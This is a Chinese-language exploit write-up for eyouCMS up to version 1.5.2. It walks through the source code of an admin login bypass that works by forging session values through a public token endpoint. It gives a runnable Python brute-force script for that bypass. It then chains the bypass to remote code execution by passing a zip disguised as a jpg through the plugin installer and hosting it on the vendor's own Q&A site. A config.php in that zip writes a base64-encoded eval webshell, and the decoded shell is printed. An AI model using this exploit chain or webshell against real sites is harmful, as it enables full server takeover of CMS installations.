eyouCMS從后台登錄繞過到getshell
漏洞影響范圍
<=1.5.2
后台登錄判斷
application/admin/controller/Base.php-_initialize()
$web_login_expiretime = tpCache('web.web_login_expiretime');
empty($web_login_expiretime) && $web_login_expiretime = config('login_expire');
$admin_login_expire = session('admin_login_expire'); //最后登錄時間
if (session('?admin_id') && (getTime() - $admin_login_expire) < $web_login_expiretime) {
session('admin_login_expire', getTime()); // 登錄有效期
$this->check_priv();//檢查管理員菜單操作權限
}else{
/*自動退出*/
adminLog('訪問后台');
session_unset();
session::clear();
cookie('admin-treeClicked', null); // 清除並恢復欄目列表的展開方式
/*--end*/
if (IS_AJAX) {
$this->error('登錄超時!');
} else {
$url = request()->baseFile().'?s=Admin/login';
$this->redirect($url);
}
}
這里的$web_login_expiretime變量的值為session的有效時間,單位為秒,這里默認設置的為3600
通過if判斷session admin_id是否存在,用getTime()方法獲取當前的時間戳然后減去最后登錄時間的時間戳,如果小於登陸有效時間的化就可以繼續使用該session進行登錄,驗證登錄之后獲取現在的時間戳對session admin_login_expire的值進行更新,然后調用$this->check_priv()方法來檢查管理員菜單操作權限。
這里我們設置的session值是為請求時間戳的md5值,如果要滿足 (getTime() - $admin_login_expire) < $web_login_expiretime)這個條件的話,需要md5值前面是連着一串得數字,這樣可以將計算得效果為負數,自然也就滿足條件了
/application/admin/controller/Base.php-check_priv()
public function check_priv()
{
$ctl = CONTROLLER_NAME;
$act = ACTION_NAME;
$ctl_act = $ctl.'@'.$act;
$ctl_all = $ctl.'@*';
//無需驗證的操作
$uneed_check_action = config('uneed_check_action');
if (0 >= intval(session('admin_info.role_id'))) {
//超級管理員無需驗證
return true;
} else {
$bool = false;
/*檢測是否有該權限*/
if (is_check_access($ctl_act)) {
$bool = true;
}
/*--end*/
/*在列表中的操作不需要驗證權限*/
if (IS_AJAX || strpos($act,'ajax') !== false || in_array($ctl_act, $uneed_check_action) || in_array($ctl_all, $uneed_check_action)) {
$bool = true;
}
/*--end*/
//檢查是否擁有此操作權限
if (!$bool) {
$this->error('您沒有操作權限,請聯系超級管理員分配權限');
}
}
}
可以看到是如果session admin_info.role_id的值如果小於等於0就等於擁有了超級管理員的權限,就相當於繞過了登錄直接拿到了后台管理員的權限
需要session總結
admin_login_expire:需要一段以數字開頭的連續一定長度的md5值,但是服務器接收的是HTTP的REQUEST_TIME_FLOAT頭,精確到小數點后3或者4位,使用腳本時無法與其匹配,又因是md5加密,所以加密之后的值差別很大,但是這里是可以通過爆破來一直嘗試,只要一次成功那么就會設置session admin_login_expire,所以只要開着腳本放一會兒就可以生成這個session,如果再次生成則會覆蓋,只需判斷是否可以憑借該session登錄后台即可
admin_id:判斷是否存在,隨意創建一個即可
admin_info.role_id:以0開頭的md5值或者以字母開頭的md5值
因為生成的admin_id和真正的admin_id是不一樣的,所以進行增刪改的操作並且涉及到admin_id的值時會報錯
前台session設置
/core/library/think/library/Controller.php-__construct(Request $request = null)
if (!defined('IS_AJAX')) {
$this->request->isAjax() ? define('IS_AJAX',true) : define('IS_AJAX',false); //
}
/core/library/think/library/Request.php-isAjax($ajax = false)
/**
* 當前是否Ajax請求
* @access public
* @param bool $ajax true 獲取原始ajax請求
* @return bool
*/
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH', '', 'strtolower');
$result = ('xmlhttprequest' == $value) ? true : false;
if (true === $ajax) {
return $result;
} else {
$result = $this->param(Config::get('var_ajax')) ? true : $result;
$this->mergeParam = false;
return $result;
}
}
...
public function server($name = '', $default = null, $filter = '')
{
if (empty($this->server)) {
$this->server = $_SERVER;
}
if (is_array($name)) {
return $this->server = array_merge($this->server, $name);
}
return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
}
...
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 獲取原始數據
return $data;
}
$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
} else {
$type = 's';
}
// 按.拆分成多維數組進行判斷
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
// 無輸入數據,返回默認值
return $default;
}
}
if (is_object($data)) {
return $data;
}
}
// 解析過濾器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else {
$this->filterValue($data, $name, $filter);
}
if (isset($type) && $data !== $default) {
// 強制類型轉換
$this->typeCast($data, $type);
}
return $data;
}
首先調用get_token()方法需要常量IS_AJAX的值為True,於是先要調用Request類的isAjax()方法,再調用本類的server()方法,再傳入到本類的input()方法,其實就是將$_SERVER數組變量中的HTTP_X_REQUESTED_WITH參數的值取出,通過
$result = ('xmlhttprequest' == $value) ? true : false;
來返回IS_AJAX的值,只有為True時才能夠請求api中的Ajax.php中的方法
/application/api/controller/Ajax.php-get_token()
public function get_token($name = '__token__')
{
if (IS_AJAX) {
echo $this->request->token($name);
exit;
} else {
abort(404);
}
}
get_token是前台可以隨意調用的,可以通過傳遞變量$name,並且會對$this->request->token($name)返回的值進行打印。繼續跟進token函數
/core/library/think/library/Request.php-token()
public function token($name = '__token__', $type = 'md5')
{
$type = is_callable($type) ? $type : 'md5';
$token = call_user_func($type, $_SERVER['REQUEST_TIME_FLOAT']);
if ($this->isAjax()) {
header($name . ': ' . $token);
}
Session::set($name, $token);
return $token;
}
將get_token()方法的$name參數傳遞進來,並且默認的加密方式為md5,這里將請求開始的時間進行md5進行加密,將session的值名字和md5請求時間戳通過http頭返回,然后使用Session::set($name, $token)方法來設置session
/core/library/think/Session.php-set()
public static function set($name, $value = '', $prefix = null)
{
empty(self::$init) && self::boot();
$prefix = !is_null($prefix) ? $prefix : self::$prefix;
if (strpos($name, '.')) {
// 二維數組賦值
list($name1, $name2) = explode('.', $name);
if ($prefix) {
$_SESSION[$prefix][$name1][$name2] = $value;
} else {
$_SESSION[$name1][$name2] = $value;
}
} elseif ($prefix) {
$_SESSION[$prefix][$name] = $value;
} else {
$_SESSION[$name] = $value;
}
}
漏洞利用腳本編寫
from time import time
import requests
class eyoucms_login:
def __init__(self, url):
self.url = url
self.req = requests.session()
self.api_gettoken = 'index.php/?m=api&c=Ajax&a=get_token&name='
self.header = {
'x-requested-with': 'XMLHttpRequest'
}
def get_admin_id(self):
res = self.req.get(self.url + self.api_gettoken + 'admin_id', headers=self.header)
print('admin_id:' + res.text)
print(res.headers['Set-Cookie'])
def get_admin_login_expire(self):
while True:
res = self.req.get(self.url + self.api_gettoken + 'admin_login_expire', headers=self.header)
result = self.login_test()
if result == 'ok':
print('login success')
break
def get_admin_info_role_id(self):
while True:
res = self.req.get(self.url + self.api_gettoken + 'admin_info.role_id', headers=self.header)
if res.text[:1] in ['1', '2', '3', '4', '5', '6', '7', '8', '9']:
pass
else:
print('admin_info.role_id:', res.text)
break
def login_test(self):
res = self.req.get(self.url + 'login.php')
if '管理系統' in res.text:
return 'ok'
def run(self):
self.get_admin_id()
self.get_admin_info_role_id()
self.get_admin_login_expire()
if __name__ == '__main__':
url = 'http://www.testeyou1.com/'
test = eyoucms_login(url)
test.run()
后台遠程插件下載getshell
/application/admin/controller/Weapp.php-downloadInstall()
public function downloadInstall($url)
{
$parse_data = parse_url($url);
if (empty($parse_data['host']) || GetUrlToDomain($parse_data['host']) != 'eyoucms.com') {
$this->error('該雲插件下載鏈接出錯!', url('Weapp/plugin'));
}
/*遠程下載文件start*/
$savePath = UPLOAD_PATH . 'tmp' . DS;//保存路徑
$folderName = session('admin_id') . '-' . dd2char(date("ymdHis") . mt_rand(100, 999));
$fileName = $folderName . ".zip";
//保存至框架應用根目錄/public/upload/tmp/ 目錄下 返回文件詳細路徑+名稱
$result = $this->downloadFile($url, $savePath, $fileName);
if (!isset($result['code']) || $result['code'] != 1) {
$this->error($result['msg']);
}
$filepath = $result['filepath'];
/*遠程下載文件end*/
if (file_exists($filepath)) {
/*解壓文件*/
$zip = new \ZipArchive();//新建一個ZipArchive的對象
if ($zip->open($filepath) != true) {
$this->error("插件壓縮包讀取失敗!", url('Weapp/plugin'));
}
$zip->extractTo($savePath . $folderName . DS);//假設解壓縮到在當前路徑下插件名稱文件夾內
$zip->close();//關閉處理的zip文件
/*--end*/
/*獲取插件目錄名稱*/
$dirList = glob($savePath . $folderName . DS . WEAPP_DIR_NAME . DS . '*');
$weappPath = !empty($dirList) ? $dirList[0] : '';
if (empty($weappPath)) {
@unlink(realpath($savePath . $fileName));
delFile($savePath . $folderName, true);
$this->error('插件壓縮包缺少目錄文件', url('Weapp/plugin'));
}
$weappPath = str_replace("\\", DS, $weappPath);
$weappPathArr = explode(DS, $weappPath);
$weappName = $weappPathArr[count($weappPathArr) - 1];
/*--end*/
/*修復非法插件上傳,導致任意文件上傳的漏洞*/
$configfile = $savePath . $folderName . DS . WEAPP_DIR_NAME . DS . $weappName . '/config.php';
if (!file_exists($configfile)) {
$msg = '插件不符合標准!';
$filelist_tmp = getDirFile($savePath . $folderName . DS . WEAPP_DIR_NAME . DS . $weappName);
if (empty($filelist_tmp)) {
$msg = '壓縮包解壓失敗,請聯系空間商';
}
@unlink(realpath($savePath . $fileName));
delFile($savePath . $folderName, true);
$this->error($msg, url('Weapp/plugin'));
} else {
$configdata = include($configfile);
if (empty($configdata) || !is_array($configdata)) {
@unlink(realpath($savePath . $fileName));
delFile($savePath . $folderName, true);
$this->error('插件不符合標准!', url('Weapp/plugin'));
} else {
$sampleConfig = include(DATA_NAME . DS . 'weapp' . DS . 'Sample' . DS . 'weapp' . DS . 'Sample' . DS . 'config.php');
if (is_array($sampleConfig)) {
foreach ($configdata as $key => $val) {
if ('permission' != $key && !isset($sampleConfig[$key])) {
@unlink(realpath($savePath . $fileName));
delFile($savePath . $folderName, true);
$this->error('插件不符合標准!', url('Weapp/index'));
}
}
}
}
}
...
首先通過parse_url()方法將傳入的url的host進行分析,這里的host需要為eyou.com,然后重新修改文件的名字並且加上.zip的后綴,所以這里傳入的url中文件的格式是不限制的,可以將后綴為jpg的壓縮文件進行處理,然后將文件下載到./uploads/tmp\下,然后對該壓縮包進行解壓,先將該文件解壓到當前目錄下,通過配置中的常量WEAPP_DIR_NAME來加載該目錄下的目錄列表,並獲取目錄的名稱,對該目錄下的config.php文件進行包含,這里由於文件包含的內容我們是可控的,所以可以通過文件包含來寫入webshell
https://www.eyoucms.com/ask/?ct=question&ac=ask_complete
可以在eyoucms的官方提問然后將壓縮文件的后綴改成jpg進行上傳
config.php
<?php
file_put_contents("./uploads/allimg/0427bd01edea972d400a106514ab7f68.php",base64_decode("PD9waHAgcGhwaW5mbygpO0BldmFsKCRfUE9TVFsyMzNdKTs/Pg=="));
?>
會在./uploads/allimg/0427bd01edea972d400a106514ab7f68.php路徑下生成一個webshell,對其進行訪問即可、
0427bd01edea972d400a106514ab7f68.php
<?php phpinfo();@eval($_POST[233]);?>